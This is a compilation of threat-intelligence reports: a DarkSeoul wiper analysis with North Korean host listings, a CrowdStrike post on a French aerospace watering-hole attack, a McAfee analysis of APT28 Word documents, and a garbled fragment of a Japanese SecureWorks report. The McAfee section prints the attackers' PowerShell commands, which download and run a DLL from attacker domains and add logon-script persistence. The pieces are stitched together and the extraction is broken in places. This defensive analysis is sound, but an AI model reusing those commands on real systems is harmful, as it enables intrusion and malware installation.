Fax: Registrant Fax Ext: Registrant Email: park2mac.com Registry Admin ID: Admin Name: guanin o Admin Organization: Admin Street: hujimi2-14-15, Admin City: chiyodaku Admin State/Province: tokyo Admin Postal Code: 1028138 Admin Country: JP Admin Phone: 81.332627111 Admin Phone Ext: Admin Fax: Admin Fax Ext: Admin Email: park2mac.com Registry Tech ID: Tech Name: Link Club Tech Organization: Link Club Tech Street: 5-39-6 Jingumae Shibuya-ku Tech City: TOKYO Tech State/Province: 150-0001 Tech Postal Code: JP Tech Country: JP Tech Phone: 81.462643403 Tech Phone Ext: Tech Fax: Tech Fax Ext: Tech Email: mel-techhosting-link.ne.jp Name Server: USR-NS1.LINKCLUB.JP Name Server: USR-NS2.LINKCLUB.JP DNSSEC: unsigned URL of the ICANN WHOIS Data Problem Reporting System: http://wdrprs.internic.net Last update of WHOIS database: 2014-05-13T18:15:18Z WHOIS Record for korea-np.co.jp: Domain Information: [BIaspJs] a.
[BIasL]                 KOREA-NP.CO.JP e. [B7-a]                 BV7-,7c BAgs7s]7c f. [BAH?L]                     B3t02qR BDA/?7JsR g. [Organization]               The Choson Shinbo Company Inc. k. [BAH?oJL]                   B3t02qR l. [Organization Type]          CO m. [BEPO?C4EvT]                 YK18923JP n. [B5QOMmC4EvT]             YK18923JP p. [BM5P]               uns01.usen.ad.jp p. [BM5P]               uns02.usen.ad.jp s. [BpL80] [BuBV]                          Connected (2015/02/28) [BEPO?G/7nF]                    1997/02/14 [B\B3G/7nF]                    1997/06/03 [B:G99?7]                      2014/03/01 01:16:34 (JST) Appendix B  Sites found on North Korean IP space smtp.star-co.net.kp 175.45.176.10 smtp.start-di.net.kp 175.45.176.10 spinef1.star.net.kp 175.45.176.10 spinef2.star.net.kp 175.45.176.11 ns1.co.kp 175.45.176.15 ns1.com.kp 175.45.176.15 ns1.edu.kp 175.45.176.15 ns1.gov.kp 175.45.176.15 ns1.kptc.kp 175.45.176.15 ns1.kptc.kp 175.45.176.15 ns1.net.kp 175.45.176.15 ns1.org.kp 175.45.176.15 ns1.org.kp 175.45.176.15 ns1.rep.kp 175.45.176.15 ns2.co.kp 175.45.176.16 ns2.com.kp 175.45.176.16 ns2.edu.kp 175.45.176.16 ns2.gov.kp 175.45.176.16 ns2.kptc.kp 175.45.176.16 ns2.kptc.kp 175.45.176.16 ns2.net.kp 175.45.176.16 ns2.org.kp 175.45.176.16 ns2.rep.kp 175.45.176.16 friend.com.kp 175.45.176.39 friend.com.kp 175.45.176.67 gnu.rep.kp 175.45.176.67 koredfund.org.kp 175.45.176.67 korelcfund.org.kp 175.45.176.67 ksf.com.kp 175.45.176.67 naenara.com.kp 175.45.176.67 vok.rep.kp 175.45.176.67 rodong.rep.kp 175.45.176.68 airkoryo.com.kp 175.45.176.69 spwebh2.star.net.kp 175.45.176.7 mail.silibank.net.kp 175.45.176.70 kcna.kp 175.45.176.71 gnu.rep.kp 175.45.176.73 vok.rep.kp 175.45.176.75 friend.com.kp 175.45.176.8 korelcfund.org.kp 175.45.176.8 ns1.cooks.org.kp 175.45.176.8 ns1.friend.com.kp 175.45.176.8 ns1.gnu.rep.kp 175.45.176.8 ns1.kcna.kp 175.45.176.8 ns1.koredfund.org.kp 175.45.176.8 ns1.korelcfund.org.kp   175.45.176.8 ns1.korfilm.com.kp 175.45.176.8 ns1.ksf.com.kp 175.45.176.8 ns1.naenara.com.kp 175.45.176.8 ns1.rodong.rep.kp 175.45.176.8 ns1.silibank.net.kp 175.45.176.8 ns1.star-co.net.kp 175.45.176.8 ns1.star-di.net.kp 175.45.176.8 ns1.star.net.kp 175.45.176.8 ns1.vok.rep.kp 175.45.176.8 ns2.airkoryo.com.kp 175.45.176.8 friend.com.kp 175.45.176.9 gnu.rep.kp 175.45.176.9 koredfund.org.kp 175.45.176.9 korelcfund.org.kp 175.45.176.9 ns2.airkoryo.com.kp 175.45.176.9 ns2.cooks.org.kp 175.45.176.9 ns2.friend.com.kp 175.45.176.9 ns2.gnu.rep.kp 175.45.176.9 //www.google.com/url?qhttp3A2F2Fsmtp.star-co.net.kp //www.google.com/url?qhttp3A2F2Fsmtp.start-di.net.kp //www.google.com/url?qhttp3A2F2Fspinef1.star.net.kp //www.google.com/url?qhttp3A2F2Fspinef2.star.net.kp //www.google.com/url?qhttp3A2F2Fns1.co.kp //www.google.com/url?qhttp3A2F2Fns1.com.kp //www.google.com/url?qhttp3A2F2Fns1.edu.kp //www.google.com/url?qhttp3A2F2Fns1.gov.kp //www.google.com/url?qhttp3A2F2Fns1.kptc.kp //www.google.com/url?qhttp3A2F2Fns1.kptc.kp //www.google.com/url?qhttp3A2F2Fns1.net.kp //www.google.com/url?qhttp3A2F2Fns1.org.kp //www.google.com/url?qhttp3A2F2Fns1.org.kp //www.google.com/url?qhttp3A2F2Fns1.rep.kp //www.google.com/url?qhttp3A2F2Fns2.co.kp //www.google.com/url?qhttp3A2F2Fns2.com.kp //www.google.com/url?qhttp3A2F2Fns2.edu.kp //www.google.com/url?qhttp3A2F2Fns2.gov.kp //www.google.com/url?qhttp3A2F2Fns2.kptc.kp //www.google.com/url?qhttp3A2F2Fns2.kptc.kp //www.google.com/url?qhttp3A2F2Fns2.net.kp //www.google.com/url?qhttp3A2F2Fns2.org.kp //www.google.com/url?qhttp3A2F2Fns2.rep.kp //www.google.com/url?qhttp3A2F2Ffriend.com.kp //www.google.com/url?qhttp3A2F2Ffriend.com.kp //www.google.com/url?qhttp3A2F2Fgnu.rep.kp //www.google.com/url?qhttp3A2F2Fkoredfund.org.kp //www.google.com/url?qhttp3A2F2Fkorelcfund.org.kp //www.google.com/url?qhttp3A2F2Fksf.com.kp //www.google.com/url?qhttp3A2F2Fnaenara.com.kp //www.google.com/url?qhttp3A2F2Fvok.rep.kp //www.google.com/url?qhttp3A2F2Frodong.rep.kp //www.google.com/url?qhttp3A2F2Fairkoryo.com.kp //www.google.com/url?qhttp3A2F2Fspwebh2.star.net.kp //www.google.com/url?qhttp3A2F2Fmail.silibank.net.kp //www.google.com/url?qhttp3A2F2Fkcna.kp //www.google.com/url?qhttp3A2F2Fgnu.rep.kp //www.google.com/url?qhttp3A2F2Fvok.rep.kp //www.google.com/url?qhttp3A2F2Ffriend.com.kp //www.google.com/url?qhttp3A2F2Fkorelcfund.org.kp //www.google.com/url?qhttp3A2F2Fns1.cooks.org.kp //www.google.com/url?qhttp3A2F2Fns1.friend.com.kp //www.google.com/url?qhttp3A2F2Fns1.gnu.rep.kp //www.google.com/url?qhttp3A2F2Fns1.kcna.kp //www.google.com/url?qhttp3A2F2Fns1.koredfund.org.kp //www.google.com/url?qhttp3A2F2Fns1.korfilm.com.kp //www.google.com/url?qhttp3A2F2Fns1.ksf.com.kp //www.google.com/url?qhttp3A2F2Fns1.naenara.com.kp //www.google.com/url?qhttp3A2F2Fns1.rodong.rep.kp //www.google.com/url?qhttp3A2F2Fns1.silibank.net.kp //www.google.com/url?qhttp3A2F2Fns1.star-co.net.kp //www.google.com/url?qhttp3A2F2Fns1.star-di.net.kp //www.google.com/url?qhttp3A2F2Fns1.star.net.kp //www.google.com/url?qhttp3A2F2Fns1.vok.rep.kp //www.google.com/url?qhttp3A2F2Fns2.airkoryo.com.kp //www.google.com/url?qhttp3A2F2Ffriend.com.kp //www.google.com/url?qhttp3A2F2Fgnu.rep.kp //www.google.com/url?qhttp3A2F2Fkoredfund.org.kp //www.google.com/url?qhttp3A2F2Fkorelcfund.org.kp //www.google.com/url?qhttp3A2F2Fns2.airkoryo.com.kp //www.google.com/url?qhttp3A2F2Fns2.cooks.org.kp //www.google.com/url?qhttp3A2F2Fns2.friend.com.kp //www.google.com/url?qhttp3A2F2Fns2.gnu.rep.kp ns2.kcna.kp 175.45.176.9 ns2.koredfund.org.kp 175.45.176.9 ns2.korelcfund.org.kp 175.45.176.9 ns2.korfilm.com.kp  175.45.176.9 ns2.ksf.com.kp 175.45.176.9 ns2.naenara.com.kp 175.45.176.9 ns2.rodong.rep.kp 175.45.176.9 ns2.silibank.rep.kp 175.45.176.9 ns2.star-co.net.kp 175.45.176.9 ns2.star-di.net.kp 175.45.176.9 ns2.star.net.kp 175.45.176.9 ns2.vok.rep.kp 175.45.176.9 vok.rep.kp 175.45.176.9 gnu.rep.kp 175.45.177.73 vok.rep.kp 175.45.177.75 friend.com.kp 175.45.177.77 koredfund.org.kp 175.45.177.77 korelcfund.org.kp 175.45.177.77 naenara.com.kp 175.45.177.77 vok.rep.kp 175.45.177.77 mail.chosunexpo.com 175.45.178.101 ns3.kptc.kp 175.45.178.173 ns3.kptc.kp 175.45.178.173 ns1.knic.com.kp 175.45.178.8 ns1.knic.com.kp 175.45.178.8 ns1.star.edu.kp 175.45.179.66 ns1.star.edu.kp 175.45.179.66 email.kp.col.cn 175.45.179.67 mail.star.edu.kp 175.45.179.69 //www.google.com/url?qhttp3A2F2Fns2.kcna.kp //www.google.com/url?qhttp3A2F2Fns2.koredfund.org.kp //www.google.com/url?qhttp3A2F2Fns2.korelcfund.org.kp //www.google.com/url?qhttp3A2F2Fns2.korfilm.com.kp //www.google.com/url?qhttp3A2F2Fns2.ksf.com.kp //www.google.com/url?qhttp3A2F2Fns2.naenara.com.kp //www.google.com/url?qhttp3A2F2Fns2.rodong.rep.kp //www.google.com/url?qhttp3A2F2Fns2.silibank.rep.kp //www.google.com/url?qhttp3A2F2Fns2.star-co.net.kp //www.google.com/url?qhttp3A2F2Fns2.star-di.net.kp //www.google.com/url?qhttp3A2F2Fns2.star.net.kp //www.google.com/url?qhttp3A2F2Fns2.vok.rep.kp //www.google.com/url?qhttp3A2F2Fvok.rep.kp //www.google.com/url?qhttp3A2F2Fgnu.rep.kp //www.google.com/url?qhttp3A2F2Fvok.rep.kp //www.google.com/url?qhttp3A2F2Ffriend.com.kp //www.google.com/url?qhttp3A2F2Fkoredfund.org.kp //www.google.com/url?qhttp3A2F2Fkorelcfund.org.kp //www.google.com/url?qhttp3A2F2Fnaenara.com.kp //www.google.com/url?qhttp3A2F2Fvok.rep.kp //www.google.com/url?qhttp3A2F2Fmail.chosunexpo.com //www.google.com/url?qhttp3A2F2Fns3.kptc.kp //www.google.com/url?qhttp3A2F2Fns3.kptc.kp //www.google.com/url?qhttp3A2F2Fns1.knic.com.kp //www.google.com/url?qhttp3A2F2Fns1.knic.com.kp //www.google.com/url?qhttp3A2F2Fns1.star.edu.kp //www.google.com/url?qhttp3A2F2Fns1.star.edu.kp //www.google.com/url?qhttp3A2F2Femail.kp.col.cn //www.google.com/url?qhttp3A2F2Fmail.star.edu.kp Appendix C  Analysis of DarkSeoul Dropper Dropper MD5: 9263e40d9823aecf9388b64de34eae54 Also known as/detected as : Dropper-FDH (McAfee) Trojan:Win32/Dembr.
A (Microsoft) Trojan.
Jokra (Symantec) The dropper component that we examined was distributed as a UPX-packed binary.
Installation When executed it creates the following files in the affected users Temp directory: alg.exe: A legitimate binary used to open SSH connections with remote servers MD5 e45cd9052dd3dd502685dfd9aa2575ca Size: 166,912 bytes conime.exe: A legitimate binary used to open SSH connections with remote servers MD5: 6a702342e8d9911bde134129542a045b Size: 153,600 bytes pr1.tmp: Payload - A destructive bash script MD5: dc789dee20087c5e1552804492b042cd Size: 1,186 bytes Also known as/detected as: KillMBR-FBIA (McAfee) Trojan:SH/Kofornix.
A (Microsoft) Trojan.
Jokra (Symantec) AgentBase.exe: Payload - Win32 wiper component (see details below) MD5: db4bbdc36a78a8807ad9b15a562515c4 Size: 24,576 Payloadattempts to connect to remote servers and upload a destructive bash script After determining the location of user profile directories on the affected computer, the malware searches these directories for configuration files and directories that may be associated with the connection manager clients mRemote and SecureCRT.
mRemotean open source tool for centrally managing remote server connections using a GUI (Kevin Kline, 2008).69 This tool is no longer being actively developed or supported.
SecureCRTa commercial SSH and Telnet client by VanDyke Software.
If an mRemote installation is located, the dropper reads the configuration file and checks if theres a NODE that is defined with Usernameroot, ProtocolSSH, and a password that is not blank.
If those conditions are satisfied it extracts the information.
The password is decrypted after being extracted.
If a SecureCRT installation is located, the dropper extracts information from sessions that have Usernameroot, ProtocolSSH and a saved password.
If these conditions are satisfied, the username, hostname, port, and password are extracted.
The password is then decrypted.
After extracting these connection and server details, the dropper uses the previously dropped alg.
exe and conime.exe to attempt to connect remote servers, upload and run the bash script pr1.tmp.
The bash script initially checks which UNIX it is running on (of HP-UX, SunOS, Linux, or AIX) and then attempts to wipe the /kernel, /usr /etc and /home directories, thus rendering the machine inoperative.
Win32 Wiper component When the AgentBase.exe component is executed, it first attempts to stop the following processes, presumably in order to evade detection: pasvc.exe  policy agent from AhnLab clisvc.exe  ViRobot ISMS from Hauri It then enumerates all physical drives and overwrites the first 512 bytes with the string: princpes, effectively destroying the MBR (master boot record) of the affected drive.
It continues to look for removable and fixed drives, locates the root directory on these drives, and then attempts to delete all files and folders in this directory.
Finally, the affected computer is shut down and rebooted, although if the wiping mechanisms were successful then the machine will not be able to boot.
Learn more at hp.com/go/hpsr
4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act https://www.readability.com/articles/orjyhfkm 1/10 crowdstrike.com The French Connection: French Aerospace- Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Activity  Adversary Manifesto by Matt Dahl   Feb. 25, 2014   3 min read   original http://www.crowdstrike.com/blog/french-connection-french-aerospace-focused-cve-2014-0322-attack-shares-similarities-2012/ http://www.crowdstrike.com/blog/french-connection-french-aerospace-focused-cve-2014-0322-attack-shares-similarities-2012/ 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act https://www.readability.com/articles/orjyhfkm 2/10 Two weeks ago, news broke about strategic web compromise (SWC) activity on the website for the U.S. organization, Veterans of Foreign Wars (VFW).
This activity leveraged exploit code for a zero-day vulnerability now identified as CVE-2014-0322 and ultimately infected victims with ZxShell malware.
CrowdStrike Intelligence attributed this attack to the AURORA PANDA adversary however, the discovery of additional indicators revealed that another adversary 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act https://www.readability.com/articles/orjyhfkm 3/10 was leveraging the same vulnerability to carry out targeted attacks nearly a month before the VFW attack occurred.
This other activity appears to be focused on French aerospace and shares similarities with a 2012 SWC campaign affecting the website of U.S.-based turbine manufacturer, Capstone Turbine.
GIFAS-Related Activity CrowdStrike Intelligence became aware of this additional activity after learning of a malicious iframe located at savmpet[.
]com.
The iframe redirected visitors to gifas[.]assso[.
]net, which was hosting exploit code in two files (include.html and Tope.swf ) as well as a malicious payload (Erido.jpg).
4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act https://www.readability.com/articles/orjyhfkm 4/10 Above are screenshots of the savmpet[.
]com webpage and part of the page source showing the date that it was last modified and the iframe redirect.
The content of the page was taken from the website of the French aerospace industries association, Groupement des industries franaises aronautiques et spatiales (GIFAS).
The 17 January 2014 date on both the webpage and the page source shows that it was created nearly a month before the VFW attack occurred https://www.crowdstrike.com/blog/wp-content/uploads/2014/02/BlogPic2.png 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act https://www.readability.com/articles/orjyhfkm 5/10 Victim exploitation occurred in the same manner as in the VFW activity, but the payload was different.
Instead of ZxShell malware connecting to AURORA PANDA-related infrastructure, it was a malware variant known as Sakula connecting to command-and- control (C2) infrastructure at oa[.]ameteksen[.
]com.
French Aerospace Focus This attacks most obvious connection to French aerospace is the content taken from the GIFAS website and the GIFAS-based domain used to host the exploit code and payload (gifas[.]assso[.
]net).
However, a more in-depth look reveals additional connections.
First is the IP address 173.252.252.204, which hosted both savmpet[.
]com and gifas[.]assso[.
]net.
Several other domains were also pointed at this IP during the same time frame, including two that contained the same content and malicious iframe as savmpet[.
]com, secure[.]safran-group[.
]com, and icbcqsz[.
]com.
Of particular interest was secure[.]safran-group[.
]com.
Safran is a France-based aerospace and defense company with a focus on the design and production of 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act https://www.readability.com/articles/orjyhfkm 6/10 aircraft engines and equipment.
The company owns the safran-group[.
]com domain, and the fact that one of its subdomains was pointed at a malicious IP address suggests that the adversary compromised Safrans DNS.
The Sakula malware used in this attack contained an unusual and interesting component that further indicates a focus on French aerospace.
As part of the infection process, it added a number of domains to the hosts file of victim machines.
The snecma[.
]fr domain belongs to the Safran subsidiary, Snecma, that designs and builds engines for civilian and military aircraft, and spacecraft.
The https://www.crowdstrike.com/blog/wp-content/uploads/2014/02/Blog-pic-3.png 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act https://www.readability.com/articles/orjyhfkm 7/10 domains listed appear to provide remote access to the companys employees and possibly third-party contractors.
The purpose of this component is unclear.
It does not map these domains to malicious IP addresses because the 217.108.170.0/24 range belongs to the company, which means it is not meant to send victims directly to adversary infrastructure for credential collection.
One possibility is that it was meant to make the malware appear more legitimate.
It has also been hypothesized that this was done to ensure DNS connectivity to these particular domains however, it seems unlikely that victims would suffer significant DNS connectivity issues, which means that adding this component to the malware for that purpose would be somewhat superfluous.
It should be noted that no victim logs related to this attack were discovered, so it is unclear who the actual targets and victims were.
Having the secure[.
]safran- group[.
]com domain pointed at a malicious IP indicates that Safran suffered a DNS compromise, but no deeper network compromise was observed.
It is possible that 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act https://www.readability.com/articles/orjyhfkm 8/10 the adversary desired to target the French aerospace and defense sectors broadly, or possibly organizations in these sectors globally.
Similarities to 2012 Capstone Turbine SWC Attack In January 2013, it was reported that the website for U.S.-based turbine manufacturer, Capstone Turbine, had been compromised and was being used in a SWC attack leveraging an exploit for the CVE-2012-4792.
There are three primary similarities between the Capstone Turbine attack and the recent French aerospace activity.
The first, and most significant, connection is the use of Sakula malware.
In both campaigns, Sakula variants were installed on successfully exploited machines.
In Capstone Turbine, the Sakula sample used (MD5 hash: 61fe6f4cb2c54511f0804b1417ab3bd2) connected to web[.]vipreclod[.
]com, and in the recent attack, the sample (MD5 hash: c869c75ed1998294af3c676bdbd56851) connected to oa[.]ameteksen[.
]com.
Use of this malware doesnt 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act https://www.readability.com/articles/orjyhfkm 9/10 appear to be widespread, but it is not yet clear whether only one group uses it, and therefore its use alone does not necessarily indicate a particular adversary.
Another similarity is that GIFAS-based malicious domains are related to each incident.
In the more recent attack, the gifas[.]assso[.
]net domain was used to host exploit code and the malicious payload.
The Capstone Turbine incident did not directly use a GIFAS-based domain, but a deeper look at network indicators related to those observed in the Capstone incident reveals two such domains: gifas[.]cechire[.
]com and gifas[.]blogsite[.
]org.
https://www.crowdstrike.com/blog/wp-content/uploads/2014/02/Blog-pic-4.png 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act https://www.readability.com/articles/orjyhfkm 10/10 The third similarity between the two is the use of zero- days.
The exploit used in Capstone Turbine was a zero- day during the time it was active, just like the exploit used in the recent French aerospace activity.
This is a general similarity that does not create a definitive link between the two attacks, but when viewed in conjunction with the use of the same malware and GIFAS-based domains, it strengthens the connection.
Original URL: http://www.crowdstrike.com/blog/french-connection-french-aerospace-focused-cve- 2014-0322-attack-shares-similarities-2012/
By Ryan Sherstobitoff and Michael Rea November 7, 2017 Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/ During our monitoring of activities around the APT28 threat group, McAfee Advanced Threat Research analysts identified a malicious Word document that appears to leverage the Microsoft Office Dynamic Data Exchange (DDE) technique that has been previously reported by Advanced Threat Research.
This document likely marks the first observed use of this technique by APT28.
The use of DDE with PowerShell allows an attacker to execute arbitrary code on a victims system regardless whether macros are enabled.
(
McAfee product detection is covered in the Indicators of Compromise section at the end of the document.)
APT28, also known as Fancy Bear, has recently focused on using different themes.
In this case it capitalized on the recent terrorist attack in New York City.
The document itself is blank.
Once opened, the document contacts a control server to drop the first stage of the malware, Seduploader, onto a victims system.
The domain involved in the distribution of Seduploader was created on October 19, 11 days prior to the creation of Seduploader.
The document we examined for this post: Filename: IsisAttackInNewYork.docx Sha1: 1c6c700ceebfbe799e115582665105caa03c5c9e Creation date: 2017-10-27T22:23:00Z The document uses the recently detailed DDE technique found in Office products to invoke the command prompt to invoke PowerShell, which runs two commands.
The first: C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden e(New-Object System.
Net.
WebClient).DownloadString(hxxp://netmediaresources[.
]com/config.txt)powershell -enc e .EXE The second PowerShell command is Base64 encoded and is found in the version of config.txt received from the remote server.
It decodes as follows: WNew-Object System.
Net.
WebClient p(Env:ALLUSERSPROFILE\vms.dll) [System.
Net.
ServicePointManager]::ServerCertificateValidationCallback  true W.DownloadFile(hxxp://netmediaresources[.
]com/media/resource/vms.dll ,p) if (Test-Path p) rd_pEnv:SYSTEMROOT\System32\rundll32.exe p_ap,1 prStart-Process rd_p -ArgumentList p_a p_bat(Env:ALLUSERSPROFILE\vms.bat) 1/4 https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/ textset inst_pck  ALLUSERSPROFILE\vms.dllrnif NOT exist inst_pck (exit)rnstart rundll32.exe inst_pck ,1 [io.
File]::WriteAllText(p_bat,text) New-Item -Path HKCU:\Environment -Force  Out-Null New-ItemProperty -Path HKCU:\Environment -Name UserInitMprLogonScript -Value p_bat - PropertyType String -Force  Out-Null  The PowerShell scripts contact the following URL to download Seduploader: hxxp://netmediaresources[.
]com/media/resource/vms.dll The Seduploader sample has the following artifacts: Filename: vms.dll Sha1: 4bc722a9b0492a50bd86a1341f02c74c0d773db7 Compile date: 2017-10-31 20:11:10 Control server: webviewres[.
]net The document downloads a version of the Seduploader first-stage reconnaissance implant, which profiles prospective victims, pulling basic host information from the infected system to the attackers.
If the system is of interest, then the installation of X-Agent or Sedreco usually follows.
We have observed APT28 using Seduploader as a first-stage payload for several years from various public reporting.
Based on structural code analysis of recent payloads observed in the campaign, we see they are identical to previous Seduploader samples employed by APT28.
We identified the control server domain associated with this activity as webviewres[.
]net, which is consistent with past APT28 domain registration techniques that spoof legitimate-sounding infrastructure.
This domain was registered on October 25, a few days before the payload and malicious documents were created.
The domain was first active on October 29, just days before this version of Seduploader was compiled.
The IP currently resolves to 185.216.35.26 and is hosted on the name servers ns1.njal.la and ns2.njal.la.
Further McAfee research identified the following related sample: Filename: secnt.dll Sha1: ab354807e687993fbeb1b325eb6e4ab38d428a1e Compile date: 2017-10-30 23:53:02 Control server: satellitedeluxpanorama[.]com.
(
This domain uses the same name servers as above.)
The preceding sample most likely belongs to the same campaign.
Based on our analysis it uses the same techniques and payload.
We can clearly establish that the campaign involving documents using DDE techniques began on October 25.
The domain satellitedeluxpanorama[.
]com, used by the implant secnt.dll, resolved to 89.34.111.160 as of November 5.
The malicious document 68c2809560c7623d2307d8797691abf3eafe319a is responsible for dropping the Seduploader payload (secnt.dll).
Its original file name was SaberGuardian2017.docx.
This document was created on October 27.
The document is distributed from 2/4 hxxp://sendmevideo[.
]org/SaberGuardian2017.docx.
The document calls sendmevideo[.
]org/dh2025e/eh.dll to download Seduploader (ab354807e687993fbeb1b325eb6e4ab38d428a1e).
The PowerShell command embedded in this document: WNew-Object System.
Net.
WebClient p(Env:ALLUSERSPROFILE\mvdrt.dll) [System.
Net.
ServicePointManager]::ServerCertificateValidationCallback  true W.DownloadFile(http://sendmevideo.org/dh2025e/eh.dll,p) if (Test-Path p) rd_pEnv:SYSTEMROOT\System32\rundll32.exe p_ap,1 prStart-Process rd_p -ArgumentList p_a p_bat(Env:ALLUSERSPROFILE\mvdrt.bat) textset inst_pck  ALLUSERSPROFILE\mvdrt.dllrnif NOT exist inst_pck (exit)rnstart rundll32.exe inst_pck ,1 [io.
File]::WriteAllText(p_bat,text) New-Item -Path HKCU:\Environment -Force  Out-Null New-ItemProperty -Path HKCU:\Environment -Name UserInitMprLogonScript -Value p_bat - PropertyType String -Force  Out-Null  The file vms.dll, 4bc722a9b0492a50bd86a1341f02c74c0d773db7, is 99 similar-to secnt.dll ab354807e687993fbeb1b325eb6e4ab38d428a1e, indicating the code is almost identical and highly likely to be part of the same campaign.
These two DLL implants are likely part of the same campaign.
Furthermore, the sample 4bc722a9b0492a50bd86a1341f02c74c0d773db7, based on our code analysis, is 99 similar to the DLL implant 8a68f26d01372114f660e32ac4c9117e5d0577f1, which was used in a campaign spoofing the upcoming cyber conference Cy Con U.S.
The attack techniques in the two campaigns differ: The campaign spoofing the Cy Con U.S conference used document files to execute a malicious VBA script this campaign using the terrorist theme uses DDE within a document file to execute PowerShell and fetches a remote payload from a distribution site.
The payloads, however, are identical for both campaigns.
Conclusion APT28 is a resourceful threat actor that not only capitalizes on recent events to trick potential victims into infections, but can also rapidly incorporate new exploitation techniques to increase its success.
Given the publicity the Cy Con U.S campaign received in the press, it is possible APT28 actors moved away from using the VBA script employed in past actions and chose to incorporate the DDE technique to bypass 3/4 http://aci.cvent.com/events/2017-international-conference-on-cyber-conflict-cycon-u-s-/event-summary-004d598d31684f21ac82050a9000369f.aspx network defenses.
Finally, the use of recent domestic events and a prominent US military exercise focused on deterring Russian aggression highlight APT28s ability and interest in exploiting geopolitical events for their operations.
Indicators of Compromise SHA1 Hashes ab354807e687993fbeb1b325eb6e4ab38d428a1e (vms.dll, Seduploader implant) 4bc722a9b0492a50bd86a1341f02c74c0d773db7 (secnt.dll, Seduploader implant) 1c6c700ceebfbe799e115582665105caa03c5c9e (IsisAttackInNewYork.docx) 68c2809560c7623d2307d8797691abf3eafe319a (SaberGuardian.docx) Domains webviewres[.
]net netmediaresources[.
]com IPs 185.216.35.26 89.34.111.160 McAfee coverage McAfee products detect this threat as RDN/Generic Downloader.x.
4/4 Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack Conclusion Indicators of Compromise
BRONZE BUTLER June 23, 2017 Counter Threat Unit   Security  Risk Consulting   Copyrights and Trademarks 2017 SecureWorks, Inc. All rights reserved.
Trademarks and trade names may be used in this document to refer to either the entities claiming the marks and names or their products.
SecureWorks and its affiliates disclaim responsibility for errors or omissions in typography or photography.
SecureWorks and its affiliates terms and conditions of sale apply.
A printed hard copy of SecureWorks terms and conditions of sale is available upon request.
2017 SecureWorks Inc. All rights reserved.
SecureWorks SecureWorks SecureWorks   1.
.................................................................................................. 1 2.
BRONZE BUTLER ....................................................... 2 2.1 BRONZE BUTLER  ............................................................................ 2 2.2 BRONZE BUTLER  ........................................................................... 2 2.3  .......................................................................................... 2 3.
BRONZE BUTLER ..................................................................... 3 3.1  ..................................................................................... 3 3.2  ............................................................... 3 3.3  ...................................................................................... 3 3.4  ....................................................................................... 3 3.5  ................................................................................. 4 3.6  ....................................................................................... 4 4.
BRONZE BUTLER  ................................................................. 5 ........................................................................................... 5 ................................................................................................ 6 4.2.1 SKYSEA Client View 6 4.3  .................................................................................... 7 4.3.1  ............................................................................. 7 4.3.2  RAT.................................................................................... 7 4.4  ............................................................................................. 9 4.4.1  ............................................ 9 4.4.2  ............................................. 10 4.4.3  .............................................................................. 11 4.5  .............................................................................. 12 4.5.1  ............................................................................. 12 4.5.2  ....................................................................... 14 4.6  ............................................................................................. 14 5.
.................................................. 15 5.1  ....................................... 15 5.1.1  ............................................... 15 5.1.2  ............................................................... 16 5.1.3  ...................................................... 16 5.1.4  ........................................................ 16 5.1.5  ............................................... 17 5.1.6  ................................................................................ 17 5.1.7 Windows  ......................................................... 18 5.1.8  ......................................................... 18 5.1.9 Active Directory  ........................................................ 18 5.1.10 SKYSEA Client View  ......................................................... 19 5.1.11  ................................... 19 5.2  ........................... 19 5.2.1  .................................. 19 5.2.2  ................................................................................ 19 5.2.3  ......................................................................... 20 5.2.4  ................................................. 20 6.
................................................................................................. 21 Appendix A:  ................................................................. 22 A.1 HTTP  ......................................................................................... 22 A.2  ......................................................................... 23 A.3  .................................................................... 23 A.4  ....................................................................................... 24 A.5  ........................................................................................ 24 Page 1 1.
SecureWorks Japan SecureWorks   SecureWorks 2012  2016   2015 Emdivi   http://www.nenkin.go.jp/oshirase/topics/2015/0104.html  Active Directory       SecureWorks https://www.secureworks.jp/capabilities/incident-response/incident- management/targeted-threat-hunting AETD Red Cloakhttps://www.secureworks.jp/capabilities/managed-security/endpoint- security/red-cloak AMPDhttps://www.secureworks.jp/capabilities/managed-security/network- security/advanced-malware-protection http://www.nenkin.go.jp/oshirase/topics/2015/0104.html https://www.secureworks.jp/capabilities/incident-response/incident-management/targeted-threat-hunting https://www.secureworks.jp/capabilities/incident-response/incident-management/targeted-threat-hunting https://www.secureworks.jp/capabilities/managed-security/endpoint-security/red-cloak https://www.secureworks.jp/capabilities/managed-security/endpoint-security/red-cloak https://www.secureworks.jp/capabilities/managed-security/network-security/advanced-malware-protection https://www.secureworks.jp/capabilities/managed-security/network-security/advanced-malware-protection 2.
